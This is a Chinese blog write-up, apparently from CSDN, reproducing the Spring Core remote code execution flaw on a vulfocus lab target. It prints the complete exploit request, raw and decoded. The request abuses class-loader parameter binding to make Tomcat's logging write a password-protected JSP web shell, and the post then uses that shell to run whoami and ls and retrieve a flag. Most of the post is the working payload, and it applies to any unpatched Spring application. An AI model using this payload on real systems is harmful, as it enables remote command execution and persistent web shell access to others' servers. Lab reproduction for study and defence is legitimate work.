spring core远程代码执行漏洞复现

Spring Core远程代码执行漏洞

前提

要求条件:

目标JDK9及其以上版本;

使⽤了Spring-beans包; 使⽤了Spring参数绑定;

Spring参数绑定使⽤的是⾮基本参数类型,例如⼀般的POJO即可;

连接靶场

登录vulfocus.io,开启漏洞环境
目标靶机:123.58.236.76:54901
在这里插入图片描述

测试

点开链接后用上大佬的POC

POST / HTTP/1.1
Host: 123.58.236.76:54901
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
DNT:1
suffix:%>
c1:Runtime
c2:<%
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ja;q=0.8
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 762

POST包内内容

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

在Decoder中smart decode后

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i if(“j”.equals(request.getParameter(“pwd”))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter(“cmd”)).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

字面原理

其中,header主要变更处为:
“suffix”:"%>",
“c1”:“Runtime”,
“c2”:"<%",
“DNT”:“1”,
“Content-Type”:“application/x-www-form-urlencoded”
:主体部分,链接后接两个参数pwd和cmd,pwd验证密码,cmd为实行的命令
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
:上传的文件后缀
class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar
:上传的文件名
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT/knan
:webapps/ROOT/knan为上传的目录,此处为访问创建的knan目录下的文件
详细原理: https://blog.csdn.net/suporsuluo/article/details/123905749.

利用

执行POC,返回200并创建/knan/tomcatwar.jsp
在这里插入图片描述
若成功创建,则访问

{url}/knan/tomcatwar.jsp?pwd=j&cmd=whoami

返回root身份,同样的我们ls获取一下内容
在这里插入图片描述

在这里插入图片描述
遍历一下,发现在tmp下存在我们想要的flag:

flag-{bmh8849ba70-0fe1-4362-8136-2014f6e4f94d}

在这里插入图片描述
成功通过
在这里插入图片描述

评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值